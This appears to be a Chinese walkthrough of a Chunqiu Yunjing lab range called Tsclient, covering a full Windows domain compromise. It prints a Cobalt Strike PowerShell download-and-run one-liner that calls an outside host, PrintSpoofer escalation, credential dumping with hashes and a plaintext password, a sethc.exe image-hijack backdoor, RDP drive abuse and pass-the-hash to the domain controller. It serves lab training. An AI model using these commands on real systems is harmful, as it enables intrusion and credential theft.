靶标介绍
Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
刚开始给了我们个目标IP 我们直接上fscan
进行扫描
fscan -h 4x.xx.xxx.xxx
发现存在mssql弱密码使用impacket工具包内的mssqlclient进行攻击
impacket-mssqlclient sa:'1qaz!QAZ'@4x.xx.xxx.xxx -port 1433
这个时候我们利用Cobalt_Strike执行powershell上线,这样更快更直接监听器->生成监听然后再web钓鱼下选择web投递即可
确定之后我们会获得一句话
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://175.xx.xx.xx:80/aaaa'))"
我们可以直接去执行,但是会发生报错,因为存在引号的缘故,需要先找个网站编码下比如https://r0yanx.com/tools/java_exec_encode/在编码之后就没有引号了
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAIgBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwA1AC4AeAB4AC4AeAB4AC4AeAB4ADoAOAAwAC8AYQBhAGEAYQAnACkAKQAiAA==
xp_cmdshell 执行之后即可上线为防止权限丢失,我们可以先进行维权新建会话,获取一个新的shell接下来开始进行主机信息收集
获取到网卡信息,上传fscan进行内网扫描
upload C:tmpfscan.exe (C:Userspublicfscan.exe)
上传到C:userspublic 下
shell fscan.exe -h 172.22.8.18/24
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.8.15 is alive
(icmp) Target 172.22.8.31 is alive
(icmp) Target 172.22.8.46 is alive
(icmp) Target 172.22.8.18 is alive
[*] Icmp alive hosts len is: 4
172.22.8.18:1433 open
172.22.8.18:445 open
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.15:445 open
172.22.8.46:139 open
172.22.8.18:139 open
172.22.8.31:139 open
172.22.8.15:139 open
172.22.8.31:135 open
172.22.8.46:135 open
172.22.8.18:135 open
172.22.8.15:135 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.15:88 open
172.22.8.31:3389 open
172.22.8.15:3389 open
172.22.8.46:3389 open
172.22.8.18:3389 open
[*] alive ports len is: 20
start vulscan
[*] WebTitle: http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[+] NetInfo:
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[+] NetInfo:
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:c4e:1319:d89d:8745
[+] NetInfo:
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] 172.22.8.31 XIAORANGWIN19-CLIENT
[*] 172.22.8.15 [+]DC XIAORANGDC01
[+] NetInfo:
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[*] 172.22.8.46 XIAORANGWIN2016 Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.8.46 code:200 len:703 title:IIS Windows Server
在扫描完成之后我们分析发现他的内网其他主机全是Windows并且另外三台全在域内这个时候就要想办法打入域内了先进行提权利用PrintSpoofer项目地址:https://github.com/itm4n/PrintSpoofer下载下来上传
shell C:userspublicPrintSpoofer64.exe -i -c "whoami"
然后在powershell一句话上线获得system
回连的很快
payload 用之前生成的即可
shell C:userspublicPrintSpoofer64.exe -i -c "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAIgBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwA1AC4AeAB4AC4AeAB4AC4AeAB4ADoAOAAwAC8AYQBhAGEAYQAnACkAKQAiAA=="
logonpasswords
可获得一个域用户hash
在我进行很久的主机信息收集之后终于在一处连接出发现了突破口在我们查看3389的连接状况时发现内网有其他主机也连接了我们本台主机的3389这是很值得思考的一个地方,进入system权限查看当前的用户,会发现有个会话在连接本主机,这个query user 在mssql权限下是开不见的,所以容易走弯路
在进一步的了解之后我发现这里可能存在着一个Windows RDP反打的操作主要是因为对方在远程我们的时候把他的C盘也一同挂载了过来让我们能够有机会操作对方的文件 后期其他的反打利用也是基于这个基础的这里由于我们不能让对面那台主机重启所以我们不能通过写启动项的方式让他上线但我们在对方的C盘发现了一个用户以及提示的信息接下来就是进一步的操作这里先把权限切换到John用户
net user john
用户名 John
全名
注释
用户的注释
国家/地区代码 000 (系统默认值)
帐户启用 Yes
帐户到期 从不
上次设置密码 2022/7/11 15:56:37
密码到期 从不
密码可更改 2022/7/11 15:56:37
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 2023/7/12 10:01:37
可允许的登录小时数 All
本地组成员 *Administrators *Remote Desktop Users
*Users
全局组成员 *None
命令成功完成。
这里很明显要我们用这个因为又是远程组又是管理员组远程桌面挂载的磁盘是在\tsclient
这个下面在查看之前我们还需要把权限切换为John
因为对方远程登录的是这个桌面这里切忌一定不要远程上去你一旦远程上去 对方的连接就会断开 他的C盘也会断开所以你收集不到他的磁盘信息了迁移到John的进程上去ps
查看以后迁移获得一个john用户的会话
就可以用John用户去查看他C盘下的文件了
07/12 11:19:51 beacon> shell type "\tsclientCcredential.txt"
07/12 11:19:51 [*] Tasked beacon to run: type "\tsclientCcredential.txt"
07/12 11:19:51 [+] host called home, sent: 65 bytes
07/12 11:19:51 [+] received output:
xiaorang.labAldrich:Ald@rLMWuy7Z!#
Do you know how to hijack Image?
接下来我们就可以搭建代理远程上去了利用cs socks4a代理
socks 8886
利用proxifier连接 协议是socks version 4
这个账号在打的时候很难用你在用于远程登录的时候显示因为密码已过期...
最好用Kali
的rdesktop
能远程登录上去并且修改密码
proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'
这个时候就可以修改密码并且登录了
修改完成之后进去系统桌面在配置好Windows的代理之后用mstsc.exe
远程过去
这里我又用回了Windows的远程桌面(刚开始不用是因为Windows的远程桌面不让修改密码 现在用是因为kali的很卡)到这里就成功的进去域内了到这里就要进一步的进行信息收集
在用
BloodHound
进行域内信息收集之后发现本台Windows2016 机器账户在Domain adminis组里面这就意味着在本机提权过后我们通过抓取 机器账户的hash就能直接远程登录域控到这里我们目的就明确了就是要提Windows 2016的权限我们通过结合之前给的提示就会知道这里可以用到映像劫持来进行提权传统“映像劫持”,当用户双击对应的程序后,操作系统就会给外壳程序(例如”explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的”dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到”劫持”的虚假程序。简单点说,当你打开的是程序A,而运行的却是程序B
大家一定都知道映像劫持后门,在以下注册表中的sethc.exe项添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:windowssystem32cmd.exe
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
我通过这一条命令来进行我们的插入我们的恶意程序这里我选择劫持粘滞键(sethc.exe)来进行间接的提权
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t REG_SZ /d "C:windowssystem32cmd.exe"
注册表编辑完成之后我们就可以shift五下打开cmd.exe了
这里虽然打开了但是他依旧是域用户的权限
proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab
这里我们可以想到利用rdesktop来在登录界面触发system
权限的sethc.exe
来达到提权的目的成功!!!因为他是不出网的,所以选择用入口主机作为跳板横向连接生成 bind 监听
然后在生成stageless
然后远程桌面复制上去
运行之后连接
运行exe的时候一定要加个start 否则很容易掉
connect 172.22.8.46 4444
运行之后就成功的获得了system权限
上线成功之后我就抓取WIN2016$
机器账户的hash
Primary
Username : WIN2016$
Domain : XIAORANG
NTLM : b0ea95b3d471c442e0c10e7a67893dbf
SHA1 : d6cbff6b31735bbd45a57152d349644791b3f924
tspkg :
wdigest :
Username : WIN2016$
Domain : XIAORANG
Password : (null)
kerberos :
Username : WIN2016$
Domain : xiaorang.lab
拿到WIN2016$
hash之后这里我们可以直接利用impacket
工具包中的wmiexec在域控中命令执行了
$ impacket-wmiexec XIAORANG.LAB/WIN2016$@172.22.8.15 -hashes :b0ea95b3d471c442e0c10e7a67893dbf
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[.0 dialect used ] SMBv3
[ ] Launching semi-interactive shell - Careful what you execute
[for extra shell commands ] Press help
C:>hostname
DC01
接下来就是获取flag位于入口靶机MSSQLSERVER
flag01: flag{b277e4c6-47b2-4e11-aa0a-51c90c410a65}
位于 Win2016
flag02: flag{f10b52ef-cb9b-47f8-9bad-c32571b588a1}
位于DC上
flag03: flag{f0f302c3-b9a4-4151-85e0-244b2ecdd795}
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】春秋云镜靶场-Tsclient
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论